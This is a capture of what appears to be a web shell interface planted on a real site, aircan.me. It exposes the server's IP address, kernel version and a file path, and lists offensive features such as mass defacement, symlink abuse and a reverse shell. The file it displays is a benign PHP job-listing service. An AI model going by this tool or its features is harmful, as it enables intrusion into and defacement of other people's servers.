Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
trabajostoremaylor
/
app
/
Services
/
Viewing: JobsFeed.php
<?php namespace App\Services; use App\Storage\Database; use DateTimeImmutable; use PDO; class JobsFeed { public static function all(): array { return self::search(); } public static function search(?string $title = null, ?string $country = null, ?string $state = null): array { $conditions = ['j.status = 1']; $params = []; if ($title !== null && $title !== '') { $conditions[] = 'j.title LIKE :title'; $params['title'] = '%' . $title . '%'; } if ($country !== null && $country !== '') { $conditions[] = 'j.country = :country'; $params['country'] = $country; } if ($state !== null && $state !== '') { $conditions[] = 'j.state = :state'; $params['state'] = $state; } $sql = 'SELECT j.*, e.company AS employer_name, e.logo AS employer_logo, e.status AS employer_status, e.benefits, ' . 'c.name AS category_name ' . 'FROM jobs j ' . 'LEFT JOIN employers e ON e.id = j.employer_id ' . 'LEFT JOIN categories c ON c.id = j.category_id ' . 'WHERE ' . implode(' AND ', $conditions) . ' ' . 'ORDER BY j.created_at DESC'; $statement = self::connection()->prepare($sql); foreach ($params as $name => $value) { $statement->bindValue(':' . $name, $value, PDO::PARAM_STR); } $statement->execute(); $rows = $statement->fetchAll(); return array_map(static fn(array $row): array => self::mapJob($row), $rows); } private static function connection(): PDO { return Database::connection(); } private static function mapJob(array $row): array { $requirements = self::splitList($row['requirements'] ?? ''); $perks = self::splitList($row['benefits'] ?? ''); $referenceDate = $row['updated_at'] ?: $row['created_at'] ?? null; return [ 'id' => (int) ($row['id'] ?? 0), 'title' => $row['title'] ?? 'Vacante sin nombre', 'company' => $row['employer_name'] ?? 'Empresa confidencial', 'location' => self::formatLocation($row), 'state' => $row['state'] ?? '', 'country' => $row['country'] ?? '', 'salary' => \App\Helpers\Utils::formatCurrency($row['salary'] ?: 'Salario no especificado'), 'type' => $row['type'] ?? 'Tiempo completo', 'category' => $row['category_name'] ?? 'Sin categoría', 'status' => (int) ($row['status'] ?? 0), 'description' => $row['description'] ?? 'La empresa no ha proporcionado descripción.', 'requirements' => $requirements, 'perks' => $perks, 'posted_label' => self::humanizeDate($referenceDate), 'created_at' => $row['created_at'] ?? null, 'updated_at' => $row['updated_at'] ?? null, 'published_at_label' => self::formatDateTime($referenceDate), 'employer_logo' => self::normalizeLogoPath($row['employer_logo'] ?? null), 'company_verified' => (int) ($row['employer_status'] ?? 0) === 1, ]; } private static function formatLocation(array $row): string { $city = trim((string) ($row['location'] ?? '')); $state = trim((string) ($row['state'] ?? '')); $country = trim((string) ($row['country'] ?? '')); $parts = array_values(array_filter([$city, $state, $country], static fn(string $value): bool => $value !== '')); if (!empty($parts)) { return implode(', ', $parts); } return 'Ubicación no especificada'; } private static function splitList(string $value): array { $items = preg_split('/[,\n\r]+/', $value) ?: []; $clean = array_values(array_filter(array_map('trim', $items), static fn(string $item): bool => $item !== '')); return $clean; } private static function humanizeDate(?string $date): string { if (!$date) { return 'Hace instantes'; } try { $created = new DateTimeImmutable($date); $now = new DateTimeImmutable('now', $created->getTimezone()); $diff = $now->diff($created); if ($diff->y > 0) { return $diff->y === 1 ? 'Hace 1 año' : sprintf('Hace %d años', $diff->y); } if ($diff->m > 0) { return $diff->m === 1 ? 'Hace 1 mes' : sprintf('Hace %d meses', $diff->m); } if ($diff->d > 0) { return $diff->d === 1 ? 'Hace 1 día' : sprintf('Hace %d días', $diff->d); } if ($diff->h > 0) { return $diff->h === 1 ? 'Hace 1 hora' : sprintf('Hace %d horas', $diff->h); } if ($diff->i > 0) { return $diff->i === 1 ? 'Hace 1 minuto' : sprintf('Hace %d minutos', $diff->i); } return 'Hace instantes'; } catch (\Throwable) { return 'Reciente'; } } private static function formatDateTime(?string $date): string { if (!$date) { return 'Fecha no disponible'; } try { $dt = new DateTimeImmutable($date); return $dt->format('d/m/Y H:i'); } catch (\Throwable) { return $date; } } private static function normalizeLogoPath(?string $path): ?string { if (!$path) { return null; } $trimmed = trim($path); if ($trimmed === '') { return null; } if (str_starts_with($trimmed, 'http://') || str_starts_with($trimmed, 'https://')) { return $trimmed; } $normalized = '/' . ltrim($trimmed, '/'); if (str_starts_with($normalized, '/public/')) { return $normalized; } if (str_starts_with($normalized, '/uploads/')) { return '/public' . $normalized; } return $normalized; } }
Coded With 💗 by
0x6ick